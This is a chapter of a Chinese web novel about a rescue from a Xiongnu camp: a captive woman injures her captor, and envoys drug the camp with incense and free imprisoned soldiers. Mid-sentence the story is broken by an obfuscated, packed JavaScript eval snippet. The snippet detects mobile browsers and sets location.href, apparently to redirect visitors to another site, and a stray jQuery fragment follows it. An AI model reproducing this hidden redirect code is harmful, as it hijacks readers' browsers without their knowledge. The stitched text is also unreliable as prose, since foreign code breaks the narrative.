34. 准备回家了
作品:《机长闺蜜双穿竟成了夫妻》 宁娇寰抬起头,冷笑了一声。
孙潇言一愣。
还没等他反应过来,宁娇寰的双脚已经踹了出去。
她被绑着,使不上全力,可这一脚却踹得又准又狠——正中他裆部。
“啊——!”
孙潇言惨叫一声,整个人弯成了虾米,捂着裆部直直往后倒去。
不远处,那两名看守的匈奴兵听到动静,面面相觑。其中一个往前走了两步,冲着那顶营帐的方向喊道:“千长,需要属下进去吗?”
帐内,孙潇言疼得满头大汗,他咬着牙,扯着嗓子往外喊:“不用……不用!”
他喘了几口气,又补了一句:“没我命令,都不许轻举妄动!”
孙潇言挣扎着爬起来。他疼得腿都软了,可那股邪火却烧得他什么也顾不上了。
他张开两个膀子,像只发情的野猪似的,朝宁娇寰扑了过去。
宁娇寰那双手被绑在身后,可她的指尖早已探入袖口深处,摸到了那枚小小的飞镖。
孙潇言扑过来的瞬间,宁娇寰的手腕一翻,身子猛地一转,一个华丽的转身,将飞镖甩了出去!
那飞镖在空中划过一道寒光,不偏不倚,正中孙潇言的命根子。
“啊——!”
孙潇言这一声惨叫,比刚才那声还要凄厉三分。他捂着裆部,整个人直直往后倒去,在地上蜷成一团,哀嚎不止。
“啊……啊……疼死我了……”
远处的匈奴兵听到动静,这回连问都懒得问了。其中一个摇摇头,叹了口气,双手捂住耳朵。另一个翻了个白眼,往远处挪了几步:“爱咋咋地吧。”
“如愿说——这叫化学阉割!”宁娇寰轻哼一声,“看起来好像蛮有效的。”
话音落下,孙潇言两眼一翻,脑袋一歪,疼晕了过去。
宁娇寰手腕用力一挣,绑在手上的绳子松了一半,她弯腰解开脚上的绳子,捡起孙潇言扔在地上的那件狐毛长袍,抖了抖,披在自己身上。
宁娇寰掀开营帐帘子,静静等着江如愿几人的信号。
此时,江如愿那头,也开始行动了。
右贤王专门拨给使者的“贵客之帐”中,江如愿、宁怀屹等十名使者躺在毡毯上,子时一到,十个人齐齐睁开眼,一骨碌爬了起来。
就在与十人隔着三五丈远的地方,横七竖八躺着十来个匈奴兵,那是右贤王“贴心”安排来伺候他们的。伺候是假,监视是真。
不过此刻,那些“眼线”睡得很香。早在两个时辰前,江如愿便在营帐中点燃了无烟无味的迷香,那些匈奴兵越睡越沉,沉得被人抬走都不知道。因江如愿等人在离开上谷郡之前看吃了迷香的解药和解酒药,此刻才会清醒异常。
宁怀屹换上了夜行衣,朝众人点了点头,往帐门走去。他的手抬起,两根手指勾住帐帘,掀开一道细缝。
江如愿悄悄往前挪了半寸,透过那道细缝往外看去。
帐外,二十多名匈奴兵围成半圈,背对着营帐站着。有人抱着长刀打盹,有人靠着旗杆发呆。
离帐门最近的那个匈奴兵,正背对着帘子站着,身形又高又壮。
江如愿正在想着这人看着挺机警,不那么容易对付。
宁怀屹已经消失在原地。
下一瞬,他已站在那又高又壮的匈奴兵身后。
宁怀屹那只修长的捏着帕子的手从后方绕过,轻轻捂上匈奴兵的口鼻。那匈奴兵的身子猛地一僵,随即软了下去。宁怀屹一手托住他,身形一转,便已退回帐内。
从出帐到回来,整个过程行云流水,一气呵成,连一个呼吸的时间都不到。
江如愿张大了嘴巴,下意识扭头看了看帐外——那二十多名匈奴兵依旧站着,没有一个人回头,没有一个人察觉,他们中间已经少了一个人。
江如愿将头扭回来,只见宁怀屹已经将匈奴兵的外袍扒下来,套在了他自己身上,他系好腰带,正了正帽檐。
宁怀屹换好了衣裳,抬眼看了她一下,转身又往帐门走去。
又是一个眨眼的功夫,第二个被迷晕的匈奴兵也被拖回了营帐内。
除束承运外,其余几名使者均是张大了嘴巴,这样的轻功,简直是叹为观止。
半盏茶的工夫后,帐内的地上,整整齐齐地躺着十个昏过去的匈奴兵。
此刻,那些匈奴兵的衣裳,全都穿在了十名使者身上。
“走吧。”
十名使者陆续从那顶营帐中走出来,一个个低着头,拢着袖子,踏入了浓稠的夜色之中,每个人的袖中都有几十根迷香。
营帐外火把的光昏暗得很,照不了多远,那些站岗的哨兵,十个里有八个在打瞌睡,脑袋一点一点地往下栽,没人注意到他们已经悄无声息地混进了值夜的匈奴兵当中。
周围大大小小的营帐,密密麻麻地扎在夜色里,少说也有几百顶。
十个人立刻四散开来,像十滴墨落入黑夜,转眼便没了踪影。
江如愿摸到最近的一顶营帐旁边。那帐子里黑漆漆的,隐约传出鼾声,她缩在帐角的阴影里,从袖口摸出一根细细的迷香,对着帐帘底下的缝隙,轻轻一吹,帐子里的鼾声更响了。
与此同时,其他九个人也在做着同样的事。
就这样,一个时辰过去……
几百顶营帐,几乎全都被吹入了迷香。那些帐中的匈奴兵,此刻只怕被人抬去卖了都不知道。
现在,他们救人的阻碍,就只剩下营帐外那些值夜的匈奴兵了。
时机差不多了,十名使者又凑到了一处。江如愿蹲下身,眯起眼睛往地上看。
沙土地上,果然有一串隐隐约约的绿光,断断续续地往前延伸。这是下午时候,宁娇寰悄悄撒在孙潇言鞋子上的荧光粉留下的痕迹。那荧光亮微弱,白天根本看不见,只有到了深夜,四周漆黑一片的时候,才会隐隐约约显出一串淡淡的印迹。
原来,今天下午宁娇寰悄悄在孙潇言的鞋子上洒下了荧光粉,那荧光粉光亮微弱,在深夜漆黑的时候,才能显现。
江如愿站起身,朝身后招了招手。
十个人悄无声息地跟了上来,顺着那串荧光脚印,一路往前摸去。
穿过一顶顶沉睡的营帐,绕过一堆堆熄灭的篝火,终于,前方出现了几顶格外简陋的囚帐——那帐子又矮又破,毡布上打着补丁,一看就是临时搭起来关押女兵和骑兵的地方。
囚帐四周,站着几十名看守的匈奴兵。这些人倒是没睡,一个个瞪着眼睛,抱着长刀,在囚帐前来回走动。
十名使者躲在一顶营帐后,江如愿和宁怀屹对视一眼,点了点头——就是现在了。
江如愿从袖口掏出了她发明的信号弹。
“咻——”
一道细细的红光冲天而起,在夜空中炸开,化作一面小小的红旗,悬了一息,随即消散。没有声音,亮度也不大,却能在夜里清清楚楚地让有心人看见。
与此同时,营地另一角的杂物营帐里,宁娇寰猛地睁开眼。
她对这个信号,等候多时了。
她站起身,看了一眼躺在地上跟死猪似的孙潇言,一脚踹翻了旁边的烛台。
烛台倒在堆满杂物的毡毯上,火苗“腾”地蹿起来,瞬间点燃了那些干草和破布。
宁娇寰披紧身上的狐毛长袍,毛茸茸的领子把她半张脸都遮住了。她深吸一口气,掀开帐帘,冲了出去。
“着火啦——!”
她扯着嗓子大喊,声音粗得像男人,一边喊一边往外跑。
“着火啦!宁阿姐在里面晕倒了!快救火啊——!”
那几个看守杂物帐的匈奴兵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273746|195808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正靠在一边打盹,听见喊声,猛地惊醒过来。一回头,果然看见那顶帐子里冒出了浓烟,火舌正从帘子底下往外蹿。
“着火了!快救火!”
几个人慌慌张张地冲过去,有人找水桶,有人拿毡毯,乱成一团。
没有人注意到,那个喊话的“孙潇言”,早就一溜烟跑没影了。
宁娇寰在黑暗中朝着囚帐的方向狂奔。
此时,看到远处火光的宁怀屹,朝其余九名使者做了个手势,十个人同时从袖中摸出暗器,从营帐后走出来。
几十道寒光同时飞出,下一瞬,那看守囚帐的几十名匈奴兵齐齐软了下去。有人连哼都没哼一声,直接倒在地上。
远处灭火的动静将大部分值夜匈奴兵都吸引了过去,所以十人的行动没有引起匈奴的注意。
宁怀屹大步上前,掀开囚帐的帘子。
帐内昏暗潮湿,一股浊气扑面而来。几十名女兵横七竖八地倒在毡毯上,手脚都被绳索绑着。
宁怀屹眉头微微一皱,随即抽出腰间长刀,三两下砍断了女兵手上的绳索。
“别出声,”他压低声音道。
与此同时,另一边的囚帐里,束承运也掀开了帘子。
两百名骑兵被关在几顶大帐里,挤得像沙丁鱼。束承运带着几个使者摸进去,一通砍砍砍,绳索落了一地。
“马槽就在附近,等宁阿姐一来,我们就撤!”
然而,就在此时,营地深处,右贤王的主将营帐外,负责值夜的右大将殷城却嗅出了一丝不对。
今日是汉人来议和的第一日,偏偏就燃起了大火。而且宁阿姐为何会晕倒在杂物帐里?
右大将殷城眉头一皱,当机立断,拔腿就往右贤王的营帐里冲。
“右大将,您有何事?”把守在帐外的亲兵伸手拦住他。
“营地着火了!恐有变故,需速报右贤王!”右大将殷城急道。
亲兵回头看了一眼那冲天的火光,脸色也变了。他转身掀开帐帘,冲了进去:“右贤王!右贤王!”
帐内漆黑一片。亲兵点燃蜡烛,摸到榻边,伸手推了推那个蜷在被子里的身影。
没反应。
他又推了推,加大了力道。
还是没反应。
那身影一动不动,呼吸均匀,睡得死沉。
右大将殷城慌了。他一把掀开被子,借着烛火,看见右贤王那张脸——双目紧闭,面色红润,呼吸平稳,可任凭他怎么摇晃、怎么喊叫,就是不醒。
“来人!”他冲出去,直奔旁边的营帐,“军师!军师!”
军师的帐中也是一样。
那位捋着山羊胡、喋喋不休了一整天的老军师,此刻正仰面躺着,张着嘴,打着鼾。
右大将殷城冲上去摇晃他、拍他的脸、掐他的人中,可军师依旧不动。
殷城愣在原地,后背陡然窜起一股寒意。
他忽然想起晚宴上的那些大旭的使者,一个个笑容满面,推杯换盏,恭维话说了几箩筐……
他想不到的是,江如愿用餐时在桌案下点燃的特制迷香,不会让人立马昏迷,却能让人在几个时辰后昏睡不醒。
右大将殷城猛地转身,冲出营帐,朝着使者们居住的方向狂奔而去。
那里,早已空无一人。
只有二十多个匈奴兵,横七竖八地躺在毡毯上,睡得人事不知,其中十人身上的盔甲还被扒了去。
“大事不妙!快随我去囚帐处查看!”
此刻,宁娇寰已赶至囚帐处。
囚帐旁的马槽边上,黑压压地站着一群人。几十名女兵,两百名骑兵,还有那十名使者,一人手里牵着一匹战马,随时准备上马突围。
宁怀屹牵着一匹马走过来,把缰绳往宁娇寰手里一塞:“姐,准备回家了。”

